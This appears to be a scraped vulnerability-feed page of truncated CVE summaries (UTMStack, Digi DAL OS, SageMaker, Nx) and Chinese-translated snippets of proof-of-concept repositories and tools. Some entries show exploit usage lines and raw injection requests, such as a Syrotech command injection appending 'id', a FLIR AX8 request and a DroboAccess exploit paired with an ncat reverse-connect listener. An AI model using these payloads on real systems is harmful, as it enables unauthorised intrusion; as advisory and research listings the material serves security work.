CVE-2026-82045

UTMStack before 11.2.16 contains a JPQL injection vulnerability that allows authenticated attackers to read arbitrary entity data by exploiting UtmNetworkScanService.searchPropertyValues, which builds a JPQL query with String.format and executes it via em.createQuery without parameter binding...

CVE-2026-75937 OS Command Injection in Digi Accelerated Linux (DAL OS)

A specially crafted HTTP POST request to the web administration interface allows an unauthenticated attacker to execute arbitrary operating system commands with root privileges on the affected device. Disable the web server when not configuring the device...

CVE-2026-82045 UTMStack < 11.2.16 JPQL Injection via searchPropertyValues

UTMStack before 11.2.16 contains a JPQL injection vulnerability that allows authenticated attackers to read arbitrary entity data by exploiting UtmNetworkScanService.searchPropertyValues, which builds a JPQL query with String.format and executes it via em.createQuery without parameter binding...

EUVD-2026-91801

UTMStack before 11.2.16 contains a JPQL injection vulnerability that allows authenticated attackers to read arbitrary entity data by exploiting UtmNetworkScanService.searchPropertyValues, which builds a JPQL query with String.format and executes it via em.createQuery without parameter binding...

CVE-2026-104019

OS command injection in the Studio Space startup validation script in Amazon SageMaker Distribution 2.x before 2.14.12, 3.x before 3.9.12, 4.0.x before 4.0.11, 4.1.x before 4.1.11, 4.2.x before 4.2.8, 4.3.x before 4.3.5, and 4.4.x before 4.4.3, as used by Amazon SageMaker Unified Studio, might...

CVE-2026-104019 OS command injection in the Studio Space startup validation script in Amazon SageMaker Distribution when running on Amazon SageMaker Unified Studio

OS command injection in the Studio Space startup validation script in Amazon SageMaker Distribution 2.x before 2.14.12, 3.x before 3.9.12, 4.0.x before 4.0.11, 4.1.x before 4.1.11, 4.2.x before 4.2.8, 4.3.x before 4.3.5, and 4.4.x before 4.4.3, as used by Amazon SageMaker Unified Studio, might...

EUVD-2026-91790

UTMStack before 11.2.16 contains a SQL injection vulnerability in UtmAssetGroupService.searchQueryBuilder that allows authenticated attackers to inject arbitrary SQL by supplying malicious assetType and groupName values that are inserted unsanitized into a native PostgreSQL query via String.forma...

CVE-2026-104859

Nx is a monorepo solution for TypeScript and polyglot codebases. From 21.4.0 until 22.7.8 and from 23.0.0 until 23.1.1, the @nx/docker release pipeline builds docker tag, image lookup, and docker push invocations as shell command strings. The release.docker.repositoryName and registryUrl...

CVE-2026-44706

Chatwoot FilterService中的SQL注入 针对CVE-2026-44706的概念验证利用代码，这是Chatwoot的FilterServiceltgtfiltervalues中的一个SQL注入漏洞，允许任何经过身份验证的代理读取整个PostgreSQL数据库，包括用户凭据和API令牌。阅读完整文章在此。 用法： 验证注入（基于布尔） $ python3 poc.py --url http://TARGET --token TOKEN --account-id 1 --mode check 基于时间的确认 $ python3 poc.py --url...

CVE-2026-54806

WP Activity Log PHP 对象注入 CVE-2026-54806 PoC 📜 描述 CVE-2026-54806 是 Melapress 开发的 WP Activity Log WordPress 插件（wp-security-audit-log）中一个严重的（CVSS 9.8）未认证 PHP 对象注入漏洞。未认证的攻击者可以在任何触发日志事件（例如登录失败）的请求中，通过 User-Agent 头注入序列化的 PHP 对象。注入的载荷会存储在数据库中，当管理员访问 WordPress 仪表盘时会被无限制地反序列化，从而实现盲远程代码执行（不会向攻击者返回任何输出）。...

Triage-CVE-2021-44228-Log4Shell-Log4j-

分类排查：CVE-2021-44228（Log4Shell / Log4j） 在本次实验室中，目标是对另一个众所周知的现实世界漏洞 Log4Shell 进行分类排查。由于受影响库在企业软件中非常普遍，它是近年来被利用最广泛的漏洞之一。 步骤 1：在 NVD 中打开该 CVE 我前往国家漏洞数据库（NVD）并查找了该 CVE： https://nvd.nist.gov/vuln/search/nvd/home?resultType=records 我搜索了 CVE-2021-44228 并打开了结果页面。 步骤 2：识别资产与暴露面 阅读完描述后，我回答了几个基本问题，以了解实际面临的风险...

nexmon

nexmon 是什么？ Nexmon 是我们基于 C 语言的固件补丁框架，适用于 Broadcom/Cypress WiFi 芯片， 它使你能够编写自己的固件补丁，例如启用带 radiotap 头的监控模式和帧注入。 下面，你可以看到 nexmon 能够实现的功能概览。本仓库主要专注于在多种芯片上启用监控模式和帧注入。如果你想要更多功能，以下项目可能会让你感兴趣： http://nexmon.org/jammer: 一个真正的 Wi-Fi 干扰器，可以用任意干扰信号覆盖正在进行的帧传输。 它使用 Wi-Fi 芯片作为软件定义无线电来生成干扰信号 它允许使用非标准信道，例如 2.4 GHz...

llm-differential-privacy-gateway

Noisegate：面向不可信 AI 代理的差分隐私网关 一个能够研究敏感数据、却无法将任何人单独识别出来的 AI 代理。这一限制是数学上的，由代理无法触及的代码强制执行，并且仓库中附带了试图攻破它的攻击。 一段录制的 Claude Desktop 会话（回复经过删减；图表卡片是会话自带的）。一个 AI 代理按诊断将 20 名患者分组，而 ±12 的噪声淹没了每一个分箱。在被提醒它无法关闭噪声后，它耗尽了一个仅允许三次回答的预算，直到网关返回拒绝 ，而不是一个更安静的答案。在 32,561 行的普查数据上，一个过窄的切片在信任边界处被拒绝...

CVE-2024-46658

CVE-2024-46658 Syrotech SY-GOPON-8OLT-L3 v1.6.0240629 命令注入漏洞 用法 1- 编辑脚本中的 URL。 2- 编辑脚本中的 CookieLogin 值。 3- 运行脚本，它将允许你执行命令。 漏洞详情 GET /cgi/home.php?fun=system&page=shellCMDExec&isajax=1&runtab=1&cmdExec=1&command=ping%208.8.8.8%20-c%204%0aid&random=1725991418844 HTTP/1.1 正常情况下，管理面板中只允许执行 ping 命令。...

drupal-cve-2026-9082-checker

DRUPAL CVE-2026-9082 检测工具 Drupal CVE-2026-9082 盲 SQL 注入检测工具 安装 git clone https://github.com/N45HT/drupal-cve-2026-9082-checker.git cd drupal-cve-2026-9082-checker pip install -r requirements.txt 参考链接 https://vulners.com/cve/CVE-2026-9082 https://cwe.mitre.org/data/definitions/89.html...

CVE-2024-48762

CVE-2024-48762 描述 FLIR AX8（版本最高至1.46.16）的 /usr/www/application/models/settingscamera.php 中存在命令注入漏洞，攻击者可通过 value 参数执行任意命令。 POC GET /settings/applyfirmware/;idtest123.txt;/false HTTP/1.1 Host: XXXX 响应 HTTP/1.1 200 OK X-Powered-By: PHP/5.4.14 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control:...

AWE

AWE：面向动态 Web 渗透测试的自适应智能体 Akshat Singh Jaswal · Ashish Baghel 被 NDSS LAST-X 2026 收录 摘要 现代 Web 应用程序日益通过 AI 辅助开发和快速无代码部署流水线构建，这进一步拉大了软件交付速度不断加快与现有安全工具适应性有限之间的差距。我们提出 AWE——一个用于自主 Web 渗透测试的记忆增强型多智能体框架，它在轻量级 LLM 编排层中嵌入了结构化、针对特定漏洞的分析流水线。在包含 104 个挑战的 XBOW 基准测试中，AWE 取得了 87% 的 XSS 成功率（较 MAPTA 提升 30.5%）和...

CVE-2023-48084-Revised

CVE-2023-48084 — 更新版 PoC 仓库： MettHK/CVE-2023-48084-Revised 这是 Hamibubu/CVE-2023-48084 的更新版本， 增加了多线程、二分查找提取，以及用于选择数据库 / 表 / 列的 CLI 参数。 并非原始仓库。 这是一个衍生/改进版 PoC。原始工作的功劳归于 Hamibubu。 免责声明 仅限授权的安全测试和教育用途 。不要将其用于你不拥有或未经明确授权测试的系统。作者和贡献者不对滥用行为负责。 关于该漏洞 CVE-2023-48084：Nagios XI 5.11.3 之前的版本在批量修改工具中存在 SQL...

wfuzz

Wfuzz - 网络模糊测试工具 Wfuzz 旨在简化 Web 应用程序评估中的任务，其基于一个简单的概念：它将 FUZZ 关键字的所有引用替换为给定载荷的值。 Wfuzz 中的载荷是一个数据源。 这个简单的概念允许任何输入注入到 HTTP 请求的任何字段中，从而能够在不同的 Web 应用程序组件（如参数、认证、表单、目录/文件、HTTP 头等）中执行复杂的 Web 安全攻击。 Wfuzz 不仅仅是一个 Web 内容扫描器： Wfuzz 可以通过发现和利用 Web 应用程序漏洞来帮助您保护 Web 应用程序。Wfuzz 的 Web 应用程序漏洞扫描器由插件支持。 Wfuzz...

CVE-2018-14699

CVE-2018-14699 DroboAccess v2.1 中 enableuser 函数的无认证命令注入 使用方法： 首先启动一个监听器（ncat -nvlp 1337） 然后运行漏洞利用脚本 示例：exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='用于利用的主机，例如 192.168.1.122:8080', required=True '-l', '--listener-ip', help='监听器 IP', required=True '-p', '--port',...